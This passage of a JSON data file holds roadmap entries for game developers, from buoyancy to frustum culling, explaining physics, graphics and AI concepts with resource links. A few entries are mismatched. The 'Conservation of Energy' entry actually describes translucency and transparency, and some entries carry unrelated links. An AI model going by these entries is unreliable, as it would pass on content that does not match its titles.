    "content": "# Buoyancy\n\n**Buoyancy** refers to a specific interaction in physics where an object submerged in fluid (such as a game character in water) experiences an upward force that counteracts the force of gravity. This makes the object either float or appear lighter. In game development, implementing buoyancy can enhance realism particularly in games that involve water-based activities or environments. Buoyancy can be manipulated through adjustments in density and volume to create various effects - from making heavy objects float to sinking light ones. Calculating it typically requires approximating the object to a sphere or another simple geometric shape, and using this in Archimedes' Principle. This principle states that buoyant force equals the weight of the fluid that the object displaces. In the realm of video games, programming buoyancy can involve complex physics equations and careful testing to achieve a balance between realism and playability.\n\nLearn more from the following resources:\n\n- [@article@Buoyancy in Game Development](https://www.gamedeveloper.com/programming/water-interaction-model-for-boats-in-video-games-part-2)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/bvh@FCc5xwb_G3VsDRXOcg3hV.md",
    "content": "# BVH\n\nBVH, or Bounding Volume Hierarchy, is an algorithm used in 3D computer graphics to speed up the rendering process. It organizes the geometry in a hierarchical structure where each node in the tree represents a bounding volume (a volume enclosing or containing one or more geometric objects). The root node of the BVH contains all other nodes or geometric objects, its child nodes represent a partition of the space, and the leaf nodes are often individual geometric objects. The main objective of using BVH is to quickly exclude large portions of the scene from the rendering process, to reduce the computational load of evaluating every single object in the scene individually.\n\nVisit the following resources to learn more:\n\n- [@opensource@UnityBoundingVolumeHeirachy](https://github.com/rossborchers/UnityBoundingVolumeHeirachy)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/c@Ph3ZqmSnwwzUBUC-6dgf-.md",
    "content": "# C Sharp\n\n**CSharp (C#)** is a modern, object-oriented programming language developed and maintained by Microsoft. It's primarily used for developing desktop applications and, more prominently, for Windows applications within the Microsoft.Net framework. However, the language is versatile and has a wide range of uses in web services, websites, enterprise software, and even mobile app development. C# is known for its simplicity, type-safety, and support for component-oriented software development. It's also been adopted by Unity, a widely used game engine, thus making it one of the preferred languages for game development.\n\nVisit the following resources to learn more:\n\n- [@official@Learn C#](https://learn.microsoft.com/en-us/dotnet/csharp/)\n- [@article@C Sharp Programming Language](https://en.wikipedia.org/wiki/C_Sharp_(programming_language))\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/cascaded@Lu38SfZ38y89BffLRMmGk.md",
    "content": "# Cascaded\n\nCascaded usually refers to cascaded shadow maps, a technique for rendering realistic shadows over a large area.\n\nVisit the following resources to learn more:\n\n- [@article@Cascading Shadows](https://www.gamedev.net/forums/topic/632574-cascading-shadow-maps-best-approach-to-learn/4988720/)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/catmull-rom@N9GoA3YvOaKwYjljj6NZv.md",
    "content": "# Catmull-Rom\n\nThe **Catmull-Rom** spline is a form of interpolation used in 2D and 3D graphics. Named after Edwin Catmull and Raphael Rom, it offers a simple way to smoothly move objects along a set of points or, in terms of graphics, to smoothly draw a curve connecting several points. It's a cubic interpolating spline, meaning it uses the cubic polynomial to compute coordinates. This makes Catmull-Rom ideal for creating smooth and natural curves in graphics and animation. It also has a feature called C1 continuity, ensuring the curve doesn't have any abrupt changes in direction. However, if not managed properly, it can create loops between points.\n\nVisit the following resources to learn more:\n\n- [@article@Catmull Rom](https://gamedev.net/forums/topic/535895-catmull-rom-in-shmups/)\n- [@article@Catmull Rom Spline - Game Development](https://gamedev.stackexchange.com/questions/47354/catmull-rom-spline-constant-speed)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/cc@jsq0UXnIIC0Z_nbK2w48f.md",
    "content": "# C / C++\n\n**C** and **C++ (commonly known as CPP)** are two of the most foundational high-level programming languages in computer science. **C** was developed in the 1970s and it is a procedural language, meaning it follows a step-by-step approach. Its fundamental principles include structured programming and lexical variable scope.\n\nOn the other hand, **C++** follows the paradigm of both procedural and object-oriented programming. It was developed as an extension to C to add the concept of \"classes\" - a core feature of object-oriented programming. C++ enhances C by introducing new features like function overloading, exception handling, and templates.\n\nVisit the following resources to learn more:\n\n- [@article@C Programming Language](https://en.wikipedia.org/wiki/C_%28programming_language%29)\n- [@article@C++ Programming Language](https://en.wikipedia.org/wiki/C%2B%2B)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/ccd@1yK8TH4Pn7Ag8VQoug54i.md",
    "content": "# CCD\n\n**CCD (Continuous Collision Detection)** is a sophisticated technique used in detecting collisions within games, more advanced than the traditional discrete collision. Rather than checking for collisions at designated time frames, CCD checks for any possible collisions that may happen during the entire time period or motion path of the moving object. This can prevent instances of \"tunneling\", where an object moves so fast that it passes through walls or obstacles undetected by discrete collision detection due to being at different points in one frame to another. Although more computationally heavy than discrete detection, CCD offers an increased accuracy in collision detection, making it vital in games where precise movements are needed.\n\nVisit the following resources to learn more:\n\n- [@article@Continuous Collision Detection](https://docs.unity3d.com/Manual/ContinuousCollisionDetection.html)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/center-of-mass@HWtU4q-YPXxSi64t43VNF.md",
    "content": "# Center of Mass\n\nThe **center of mass** is a position defined relative to an object or system of objects. Typically denoted by the symbol \\(COM\\), it refers to the average position of all the parts of the system, weighted according to their masses. For instance, if you have a uniformly dense object, the center of mass would be in the geometric center of that object. In gaming, the center of mass of an object can have a significant impact on how the object behaves when forces are applied to it. This includes how the object moves in response to these forces, and can affect the realism of the physics simulations in a game.\n\nVisit the following resources to learn more:\n\n- [@article@Center of Mass](https://medium.com/@brazmogu/physics-for-game-dev-a-platformer-physics-cheatsheet-f34b09064558)\n- [@video@Playing With Unreal Engine Physics: Center of Mass](https://www.youtube.com/watch?v=JVX7TA8GkzE)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/client-side-development@rQArtuVKGVgLn_fw9yO3b.md",
    "content": "# Client Side\n\nIn game development, the term \"Client Side\" refers to all the operations and activities that occur on the player's machine, which could be a console, computer, or even a phone. The client side is responsible for rendering graphics, handling input from the user and sometimes processing game logic. This is in contrast to the server-side operations, which involve handling multiplayer connections and synchronizing game states among multiple clients. On the client side, developers need to ensure performance optimization, smooth UI/UX, quick load times, and security to provide an engaging, lag-free gaming experience. Security is also crucial to prevent cheating in multiplayer games, which can be tackled through measures like Data obfuscation and encryption.\n\nVisit the following resources to learn more:\n\n- [@article@Client Side Architecture](https://gabrielgambetta.com/client-server-game-architecture.html)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/clipping@xP_VDMu1z9jiVnZaBFKJQ.md",
    "content": "# Clipping\n\n`Clipping` is a fundamental technique in computer graphics primarily used for efficiently rendering a three-dimensional scene. This process involves eliminating certain parts of objects in the scene that are out-of-view or obstructed by other objects. Clipping can occur in various ways, one of the most common methods being `View-frustum culling` where objects completely outside of the camera view are discarded. The aim of clipping is to optimize the graphic rendering pipeline by reducing the number of polygons that the graphic hardware needs to process. Consequently, this helps in improving the speed and overall performance of the rendering process.\n\nVisit the following resources to learn more:\n\n- [@article@Clipping in Games](https://www.haroldserrano.com/blog/what-is-clipping-in-opengl)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/collision-detection@AdOfOJtLtNgDwuABb6orE.md",
    "content": "# Collision Detection\n\n**Collision Detection** is a critical aspect in game physics that handles the computer’s ability to calculate and respond when two or more objects come into contact in a game environment. This is vital to ensure objects interact realistically, don't pass through each other, and impact the game world in intended ways. Techniques for collision detection can vary based on the complexity required by the game. Simple methods may involve bounding boxes or spheres that encapsulate objects. When these spheres or boxes overlap, a collision is assumed. More complex methods consider the object's shape and volume for precise detection. Several libraries and game engines offer built-in support for collision detection, making it easier for developers to implement in their games.\n\nVisit the following resources to learn more:\n\n- [@article@Collision Detection in Games](https://developer.mozilla.org/en-US/docs/Games/Tutorials/2D_Breakout_game_pure_JavaScript/Collision_detection)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/color@WK6fLWJq9Vh2ySVrSqd-U.md",
    "content": "# Color\n\nIn the realm of computer graphics, color plays an integral role. It can be defined in various color models such as RGB (Red, Green, Blue), CYMK (Cyan, Yellow, Magenta, Black), and others. RGB is a color model that combines the primary colors (red, green, blue) in different amounts to produce a spectrum of colors. This model is often used in digital displays. In contrast, CMYK is a color model used in color printing. It uses cyan, magyenta, yellow, and black as the primary colors. HSL (Hue, Saturation, Lightness) and HSV (Hue, Saturation, Value) are other useful models that represent colors based on human perceptions. Another important element of color in computer graphics is the color depth, also known as bit depth, which determines the number of colors that can be displayed at once.\n\nLearn more from the following resources:\n\n- [@video@Pixar in a Box - Color](https://www.khanacademy.org/computing/pixar/animate/ball/v/intro-animation)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/computer-animation@1RdyzTI_TXqmct2bIbNh9.md",
    "content": "# Computer Animation\n\nComputer animation refers to the art of creating moving images via the use of computers. Increasingly, it's becoming a critical component in the game development industry. Essentially, it's divided into two categories, 2D animation and 3D animation. 2D animation, also referred to as vector animation, involves creation of images in a two-dimensional environment, including morphing, twining, and onion skinning. On the other hand, 3D animation, also known as CGI, involves moving objects and characters in a three-dimensional space. The animation process typically involves the creation of a mathematical representation of a three-dimensional object. This object is then manipulated within a virtual space by an animator to create the final animation. Software like Unity, Maya, and Blender are commonly used for computer animation in game development.\n\nVisit the following resources to learn more:\n\n- [@article@Computer Animation](https://www.adobe.com/uk/creativecloud/animation/discover/computer-animation.html)\n- [@article@What is Computer Animation?](https://unity.com/topics/what-is-computer-animation)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/computer-graphics@lIb5MeDoqVj6HycveOgTS.md",
    "content": "# Computer Graphics\n\nComputer Graphics is a subfield of computer science that studies methods for digitally synthesizing and manipulating visual content. It involves creating and manipulating visual content using specialized computer software and hardware. This field is primarily used in the creation of digital and video games, CGI in films, and also in visual effects for commercials. The field is divided into two major categories: **Raster graphics** and **Vector graphics**. Raster graphics, also known as bitmap, involve the representation of images through a dot matrix data structure, while Vector graphics involve the use of polygons to represent images in computer graphics. Both of these methods have their unique usage scenarios. Other concepts integral to the study of computer graphics include rendering (including both real-time rendering and offline rendering), animation, and 3D modeling. Generally, computer graphics skills are essential for game developers and animation experts.\n\nVisit the following resources to learn more:\n\n- [@article@Introduction to Computer Graphics](https://open.umn.edu/opentextbooks/textbooks/420)\n- [@video@How do Video Game Graphics Work?](https://www.youtube.com/watch?v=C8YtdC8mxTU)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/concave@jslk7Gy58VspO1uXGDgBp.md",
    "content": "# Concave\n\nIn game development, a shape is said to be \"concave\" if it has an interior angle greater than 180 degrees. In simpler terms, if the shape has a portion \"inwards curved\" or a \"cave-like\" indentation, it's concave. Unlike convex shapes, a straight line drawn within a concave shape may not entirely lie within the boundaries of the shape. Concave shapes add complexity in game physics, especially in collision detection, as there are more points and angles to consider compared to convex shapes. These shapes are commonly seen in game elements like terrains, mazes, game level boundaries and gaming characters. Let's remember that the practical application of concave shapes largely depends on the gameplay requirements and the level of realism needed in the game.\n\nVisit the following resources to learn more:\n\n- [@article@What is Concave Shape?](https://dev.to/fkkarakurt/geometry-and-primitives-in-game-development-1og)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/conservation-of-energy@H3hkafXO9zqEnWuwHa38P.md",
    "content": "# Conservation of Energy\n\nIn the realm of physically-based rendering, **translucency** and **transparency** act as key aspects in creating visually authentic and compelling images. Transparency refers to the property of an object that allows light to pass through it unhindered, hence making the object clear or invisible. This is commonly seen in materials such as glass, clear plastic, and water. On the other hand, translucency describes how light interacts with a semi-transparent object. Instead of passing directly through, light enters the object, travels within for some distance and then exits at a different location. Common examples of such surfaces include human skin, marble, milk, or wax, which exhibit a soft, diffused lighting effect when light rays pass through them. The technique to achieve this effect in graphics involves subsurface scattering, where incoming light is scattered beneath the object's surface, illuminated it in a way that showcases the material's internal structure.\n\nVisit the following resources to learn more:\n\n- [@article@What is Concave Shape?](https://dev.to/fkkarakurt/geometry-and-primitives-in-game-development-1og)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/convex-decomposition@bgP9NpD0DJGqN4VCt65xP.md",
    "content": "# Convex Decomposition\n\n`Convex Decomposition` represents a process within game development that involves breaking down complex, concave shapes into simpler, convex shapes. This technique considerably simplifies the computation involved in collision detection, a critical aspect of any game development project that involves physical simulations. In concrete terms, a concave shape has one or more parts that 'cave in' or have recesses, while a convex shape has no such depressions - in simplistic terms, it 'bulges out' with no interior angles exceeding 180 degrees. So, Convex decomposition is essentially a process of breaking down a shape with 'caves' or 'recesses' into simpler shapes that only 'bulge out'.\n\nVisit the following resources to learn more:\n\n- [@article@Convex Decomposition for 3D](https://colin97.github.io/CoACD/)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/convex-hull@jixffcPBELkhoG0e7Te8g.md",
    "content": "# Convex Hull\n\nThe **Convex Hull** is a foundational concept used in various areas of game development, particularly in the creation of physics engines and collision detection. Essentially, it is the smallest convex polygon that can enclose a set of points in a two-dimensional space, or the smallest convex polyhedron for a set of points in a three-dimensional space. It can be thought of as the shape that a rubber band would take if it was stretched around the points and then released. In computational geometry, various algorithms like Graham's Scan and QuickHull have been developed to compute Convex Hulls rapidly. Using Convex Hulls in game engines can drastically improve the performance of collision detection routines as fewer points need to be checked for overlap, which in turn helps in creating smoother gameplay.\n\nVisit the following resources to learn more:\n\n- [@article@Convex Decomposition for 3D](https://colin97.github.io/CoACD/)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/convex@pG_V12qhS4HevoP_KHTvh.md",
    "content": "# Convex\n\nThe term \"convex\" in game development relates primarily to shapes and collision detection within the gaming environment. A shape is convex if all line segments between any two points in the shape lie entirely within the shape. This is an essential concept when programming collision detection and physics engines in games since the mathematical calculations can be more straightforward and efficient when the objects are convex. In addition to this, many rendering algorithms also operate optimally on convex objects, thereby helping improve the game’s graphical performance.\n\nVisit the following resources to learn more:\n\n- [@article@Convex in Game Development](https://dev.to/fkkarakurt/geometry-and-primitives-in-game-development-1og)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/convexity@YLusnwCba7BIdKOYUoY6F.md",
    "content": "# Convexity\n\nConvexity is a significant concept used in game development, particularly in the narrow phase of collision detection. A shape is considered convex if, for every pair of points inside the shape, the complete line segment between them is also inside the shape. Essentially, a convex shape has no angles pointing inwards. Convex shapes can be of great benefit in game development because they're simpler to handle computationally. For instance, in collision detection algorithms such as separating axis theorem (SAT) and Gilbert–Johnson–Keerthi (GJK), the input shapes are often convex. Non-convex shapes or concave shapes usually require more complex methods for collision detection, often involving partitioning the shape into smaller convex parts.\n\nVisit the following resources to learn more:\n\n- [@article@Convexity in Game Development](https://www.gamedeveloper.com/game-platforms/understanding-convexity-in-ltv-modelling)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/cube@cv1-AwewuqJsZDBI3h84G.md",
    "content": "# Cube\n\nIn computer graphics, \"cube\" in the context of shadows often refers to using a cube-shaped object to visualize the concept of a \"shadow volume.\" Imagine a light source shining on a cube. The silhouette of the cube from the light's perspective, extended infinitely outwards, forms a volume. Any object inside this \"shadow volume\" is considered to be in shadow. While helpful for understanding, shadow volumes themselves are not always shaped like cubes - their complexity depends on the object casting the shadow.\n\nVisit the following resources to learn more:\n\n- [@article@Draw a Cube](https://dev-tut.com/2022/unity-draw-a-debug-cube/)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/culling@1gdDeUPBRco10LpOxug4k.md",
    "content": "# Culling\n\n**Culling** is a performance optimization strategy employed in game development to improve efficiency and speed. Culling helps in reducing the rendering workload by eliminating the elements that are not visible to the player or are outside the viewport of the game. There are several types of culling, two main being; **frustum culling** and **occlusion culling**. Frustum culling involves eliminating objects that are outside of the camera's field of view. On the other hand, Occlusion culling discards objects that are hidden or blocked by other objects. Culling ensures that only the elements that are necessary or add value to the player's experience are processed.\n\nVisit the following resources to learn more:\n\n- [@article@Culling in Game Development](https://medium.com/@niitwork0921/what-is-culling-in-game-design-a97c0b6344dd)\n- [@article@Object Culling in Unreal Engine](https://gamedevinsider.com/object-culling-in-unreal-engine/)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/curve@YTkOF_33oL1ZkA-loc_DP.md",
    "content": "# Curve\n\nA `curve` in game development is a mathematical tool for creating smooth lines or paths, used in areas like animation, 3D modeling, UI design, and level layouts. Curves simplify complex shapes and movements, enabling more natural results compared to linear approaches. They're key for `lifelike animations`, organic shapes, `realistic physics`, and smooth camera movements, essential for polished, fluid game design.\n\nLearn more from the following resources:\n\n- [@article@Curves](https://en.wikipedia.org/wiki/Curve)\n- [@article@Basics of Curves](https://byjus.com/maths/curve/)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/dbvt@XHFV4d6Ab4kWQ3-XcZTyT.md",
    "content": "# DBVT\n\n`DBVT` or `Dynamic Bounding Volume Tree` is an acceleration data structure that's primarily used in physics simulations like collision detection. It's a type of BVH (`Bounding Volume Hierarchy`), but the unique aspect of a DBVT is its handling of dynamic objects. As the name suggests, it's specifically designed to efficiently handle changing scenarios, such as objects moving or environments evolving, better than a typical BVH. Unlike a static BVH, a DBVT dynamically updates the tree as objects move, maintaining efficiency of collision queries. It primarily does this through tree rotations and refitting bounding volumes rather than fully rebuilding the tree. This makes DBVT a highly appealing option for scenarios with considerable dynamics.\n\nLearn more from the following resources:\n\n- [@article@DBVT](https://sopiro.github.io/DynamicBVH/)\n- [@article@Dynamic Bounding Volume Hierarchies](https://box2d.org/files/ErinCatto_DynamicBVH_Full.pdf)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/decision-learning@ul5XnVwQCwr4ZaL4kBNpd.md",
    "content": "# Decision Learning\n\nIn the realm of game development, **Decision Learning**  refers to information systems that recognize and analyze patterns to help in making decisions. It’s particularly used in AI game development where decision-making algorithms or artificial intelligence are programmed to learn from and make decisions based on past experiences or an established decision tree. These decisions can be about game behaviors, player interactions, environment changes and so on. Various methods such as reinforcement learning, Bayesian methods, Decision trees, Neural networks are used to facilitate decision learning in game development.\n\nVisit the following resources to learn more:\n\n- [@article@Decision Learning in Game Development](https://medium.com/@alidrsn/game-development-with-ai-strategy-tools-and-examples-7ae77257c062)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/decision-making@Ky-95ipdgyPZGAIdqwMCk.md",
    "content": "# Decision Making\n\nIn game development, decision making often refers to the logic or processes that determine the behavior of non-playable characters or game environments. Three main types of decision making are used: deterministic, stochastic, and strategic. Deterministic decision making is based on predefined rules. With stochastic decision making, outcomes are probability-based, providing an element of randomness. Strategic decision making involves planning a sequence of actions to achieve a specified goal. Decisions can also be guided using various API tools such as **pathfinding algorithms** (which determine the shortest path between two points) or **decision trees** (which facilitate the selection of an action based on certain conditions). The choice of decision-making method depends largely on the desired complexity and behavior of your game elements.\n\nVisit the following resources to learn more:\n\n- [@article@Decision Making in Game Development](https://www.cgspectrum.com/blog/game-design-decision-making-troy-dunniway)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/decision-tree-learning@sz1047M8_kScjth84yPwU.md",
    "content": "# Decision Tree Learning\n\n`Decision Tree Learning` is an important concept in game development, particularly in the development of artificial intelligence for game characters. It is a kind of machine learning method that is based on using decision tree models to predict or classify information. A decision tree is a flowchart-like model, where each internal node denotes a test on an attribute, each branch represents an outcome of that test, and each leaf node holds a class label (decision made after testing all attributes). By applying decision tree learning models, computer-controlled characters can make decisions based on different conditions or states. They play a key role in creating complex and interactive gameplay experiences, by enabling game characters to adapt to the player's actions and the ever-changing game environment.\n\nVisit the following resources to learn more:\n\n- [@article@Game Strategy - Real Time Decision Tree](https://medium.com/@aleena.sebastian/game-strategy-optimization-using-decision-trees-d4067008eed1)\n- [@article@Real Time Decision Tree](https://www.codewithc.com/real-time-decision-trees-in-pygame-ai/)\n- [@video@Decision Trees - A Friendly Introduction](https://www.youtube.com/watch?v=HkyWAhr9v8g)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/decision-tree@rwGivalwv2ozdSlVMSc4U.md",
    "content": "# Decision Tree\n\nA **Decision Tree** is a graphical representation used in game development which helps to visualize the possible outcomes or paths a game could take depending on certain choices made by a gamer. Each branch of the tree represents a possible decision, outcome, or reaction and each node on the tree represents a game situation or event. Decision Trees help game developers in making strategic designs, create complex enemy AI, and overall assists in predicting the interaction or course of the game. It allows game developers to layout the decision points, possible choices and their outcomes, thus making it easier to trace the direction in which the game progresses.\n\nVisit the following resources to learn more:\n\n- [@articleDecision Tree](https://www.gamedeveloper.com/programming/behavior-trees-for-ai-how-they-work)\n- [@video@What is a Decision Tree?](https://www.youtube.com/watch?v=bmP4ppe_-cw)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/deep-learning@ltkEyfuDxExs7knqs79ya.md",
    "content": "# Deep Learning\n\nDeep Learning is a sub-field of machine learning, inspired by the structure and function of the human brain, specifically designed to process complex input/output transformations. It uses artificial neural networks with many layers (hence the term 'deep' learning) to model complex, non-linear hypotheses and discover hidden patterns within large datasets. Deep learning techniques are crucial in game development, primarily in creating intelligent behaviors and features in gaming agents, procedural content generation, and player profiling. You might have heard about the uses of deep learning technologies in popular, cutting-edge games like Google DeepMind's AlphaGo. Coding languages like Python, R, and frameworks like TensorFlow, Keras, and PyTorch are commonly used for deep learning tasks. Learning Deep Learning can be a prominent game-changer in your game development journey.\n\nVisit the following resources to learn more:\n\n- [@article@Deep Learning](https://en.wikipedia.org/wiki/Deep_learning)\n- [@article@Deep Learning Book](https://www.deeplearningbook.org/)\n- [@article@Introduction to Deep Learning](https://www.ibm.com/topics/deep-learning)\n- [@video@What is a Neural Network?](https://www.youtube.com/watch?v=aircAruvnKk)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/diffuse@0g1z5G2dsF4PTIfFAG984.md",
    "content": "# Diffuse\n\nIn the world of 3D rendering and game development, \"diffuse\" refers to diffuse lighting or diffuse reflection. It's a key concept in making objects look three-dimensional and realistically lit.\n\nVisit the following resources to learn more:\n\n- [@article@Difference Between Albedo and Diffuse Map](https://www.a23d.co/blog/difference-between-albedo-and-diffuse-map/)\n- [@article@Complete Guide to Learn Texture Styles](https://cgobsession.com/complete-guide-to-texture-map-types/)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/directional@foD8K7V0yIxgeXwl687Bv.md",
    "content": "# Directional\n\nDirectional light simulates a distant light source like the sun. It has only a direction, not a specific position, meaning its light rays are parallel and cast consistent shadows regardless of object location within the scene. This makes it ideal for simulating sunlight or moonlight, providing realistic outdoor lighting while being relatively performant for rendering.\n\nVisit the following resources to learn more:\n\n- [@article@Directional Light](https://www.a23d.co/blog/difference-between-albedo-and-diffuse-map/)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/directx-ray-tracing@qoIkw9o8iMx7MzUyVYoR2.md",
    "content": "# DirectX Ray Tracing\n\nDirectX Ray Tracing (DXR) is an advanced Windows API introduced with DirectX 12. It delivers real-time, cinema-quality rendering to contend development in gaming and professional visualization. It provides highly efficient and straightforward access to RT Core hardware. DXR adds four new concepts to DirectX 12: The acceleration structure, The Ray tracing pipeline state object, Shader tables, and the Command list method (DispatchRays). It represents a significant step forward by Microsoft in embracing Ray Tracing as a new standard in real-time rendering pipelines. For developers, DirectX Ray tracing is straightforward to integrate into existing engines given its easy compatibility with existing DirectX 12 programming models. However, to truly maximize DXR's potential, a deep understanding of both graphics workloads and tracing algorithms is necessary.\n\nVisit the following resources to learn more:\n\n- [@article@Announcing Microsoft DirectX Ray Tracing](https://devblogs.microsoft.com/directx/announcing-microsoft-directx-raytracing/)\n- [@official@DirectX Ray Tracing](https://developer.nvidia.com/blog/introduction-nvidia-rtx-directx-ray-tracing/)\n- [@official@DX12 Ray Tracing](https://developer.nvidia.com/blog/dx12-raytracing-tutorials/)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/directx@bgWFV09AtDv1yJS5t0EaB.md",
    "content": "# DirectX\n\n**DirectX** is a collection of Application Programming Interfaces (APIs) developed by Microsoft to handle tasks related to multimedia, especially game programming and video, on Microsoft platforms. It was first introduced in 1995 and has become a crucial component for PC gaming. DirectX serves as an intermediary between a hardware and a software, managing the state of the hardware and giving commands to it. Some technologies under DirectX includes Direct3D for 3D graphics, DirectDraw for 2D graphics, DirectSound for sound, and DirectInput for interfacing with input devices such as keyboard and mouse.\n\nVisit the following resources to learn more:\n\n- [@official@Microsoft's DirectX](https://visualstudio.microsoft.com/vs/features/directx-game-dev/)\n- [@official@Learn DirectX](https://learn.microsoft.com/en-us/shows/introduction-to-c-and-directx-game-development/)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/dynamics@0D7KQlF-9ylmILTBBVxot.md",
    "content": "# Dynamics\n\n**Dynamics** in game physics refers to the calculation and simulation of the movement and interaction of objects over time, taking into account properties such as mass, force, and velocity. Its purpose is to ensure the motion of game elements matches expectations in the real-world, or the specific conditions defined by the game designers. This typically includes topics like kinematics (velocity and acceleration), Newton's laws of motion, forces (like gravity or friction), and conservation laws (such as momentum or energy). This also involves solving equations of motions for the game objects, detecting collisions and resolving them. Dynamics, together with Statics (dealing with how forces balance on rigid bodies at rest), makes up the core of game physics simulation.\n\nVisit the following resources to learn more:\n\n- [@article@Dynamics in Game Physics](https://americanprofessionguide.com/game-mechanics-and-dynamics/)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/epa@vWLKYK2KUzV1fO-vQunzW.md",
    "content": "# EPA\n\nThe **EPA** (Expanding Polytope Algorithm) is an iterative algorithm used for calculating the penetration depth between two shapes in collision detection. It is commonly used in physics engines and robotics. The algorithm takes the resulting simplex from a previously applied GJK algorithm, iteratively expanding the polytope towards the Minkowski Difference boundary until it finds the closest point to the origin. The vector from that point to the origin is the penetration vector and its magnitude is equal to the penetration depth between the two shapes.\n\nVisit the following resources to learn more:\n\n- [@article@EPA: Collision response algorithm for 2D/3D - winter.dev](https://winter.dev/articles/epa-algorithm)\n- [@article@EPA (Expanding Polytope Algorithm) - dyn4j](https://dyn4j.org/2010/05/epa-expanding-polytope-algorithm/)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/euler-angle@L0J2kvveJNsmN9ueXhqKf.md",
    "content": "# Euler Angle\n\nThe **Euler angle** is a concept in mathematics and physics used to describe the orientation of a rigid body or a coordinate system in 3D space. It uses three angles, typically named as alpha (α), beta (β), and gamma (γ), and represents three sequential rotations around the axes of the original coordinate system. Euler angles can represent any rotation as a sequence of three elementary rotations. Keep in mind, however, that Euler angles are not unique, and different sequences of rotations can represent identical total effects. It's also noteworthy that Euler angles are prone to a problem known as gimbal lock, where the first and third axis align, causing a loss of a degree of freedom, and unpredictable behavior in particular orientations.\n\nVisit the following resources to learn more:\n\n- [@article@Euler Angle in Game Development](https://www.gameludere.com/2020/03/12/euler-angles-hamilton-quaternions-and-video-games/)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/fog@2ocwC0P1-ZFmjA9EmA1lV.md",
    "content": "# Fog\n\nFog in game development refers to a visual effect used to simulate atmospheric conditions and enhance the depth perception in a game environment. It creates a gradient of visibility, often fading objects into the background, which can improve performance by reducing the number of objects rendered at a distance. Fog can be implemented in various ways, such as linear fog, which gradually obscures objects based on their distance from the camera, or exponential fog, which creates a more dramatic effect by rapidly increasing the density of fog with distance.\n\nVisit the following resources to learn more:\n\n- [@article@Fog - Graphics and GPU Programming](https://gamedev.net/reference/articles/article677.asp)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/force@qduFRhmrzJ2sn0g7L-tza.md",
    "content": "# Force\n\n**Force** is a vital concept in game development, especially when crafting physics in games. In the context of game physics, 'Force' is an influence that causes an object to undergo a certain change, either concerning its movement, direction, or geometrical construction. It's typically implemented in game engines, with part of the physics simulation that computes forces like gravity, friction, or custom forces defined by the developer. Incorporating forces gives a realistic feel to the game, allowing objects to interact naturally following the laws of physics. This is central in genres like racing games, sports games, and any game featuring physical interactions between objects. Remember that `F = ma`, the acceleration of an object is directly proportional to the force applied and inversely proportional to its mass. The balance and manipulation of these forces are integral to dynamic, immersive gameplay.\n\nVisit the following resources to learn more:\n\n- [@article@Physics for Game Dev](https://medium.com/@brazmogu/physics-for-game-dev-a-platformer-physics-cheatsheet-f34b09064558)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/friction@Hz9R4YGYtD0jAur8rYist.md",
    "content": "# Friction\n\n`Friction` is a crucial concept in game dynamics. In the context of games, it's typically used to slow down or impede movement, providing a realistic feel to characters or objects movement. For example, when a player's character runs on a smooth surface as compared to a rough one, friction influences the speed and control of that character. It can be seen in how cars skid on icy surfaces, how walking speed changes depending on the terrain, or how a ball rolls and eventually slows. The equation to compute friction is usually `f = μN`, where `f` is the force of friction, `μ` is the coefficient of friction (which depends on the two surfaces interacting), and `N` is the normal force (which is generally the weight of the object). You can adjust the coefficient of friction in a game to have different effects depending upon the desired outcome.\n\nVisit the following resources to learn more:\n\n- [@article@Friction in Game Dev](https://medium.com/@originallearguy/rub-the-right-way-applying-friction-in-game-design-122bd98de69d)\n- [@video@Friction](https://youtu.be/t1HWIoDUWXg?si=FmFsIGTSHpLS72vp)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/frustum@UcLGWYu41Ok2NYdLNIY5C.md",
    "content": "# Frustum Culling\n\nFrustum culling is a standard practice in computer graphics, used in virtually all games to optimize performance by not rendering objects outside of your field of view. Think of your field of view as a frustum, a truncated pyramid shape. The farthest side is called the far clip plane, and the closest side is the near clip plane. Any object in the game that doesn't fall within this frustum is culled, meaning it’s not rendered, to improve performance. This feature comes built-in with Unreal Engine.\n\nVisit the following resources to learn more:\n\n- [@article@Frustum Culling](https://gamedev.net/tutorials/programming/general-and-gameplay-programming/frustum-culling-r4613/)\n- [@video@Frustum Culling - Game Optimization 101 - Unreal Engine](https://www.youtube.com/watch?v=Ql56s1erTMI)\n"
  },
  {
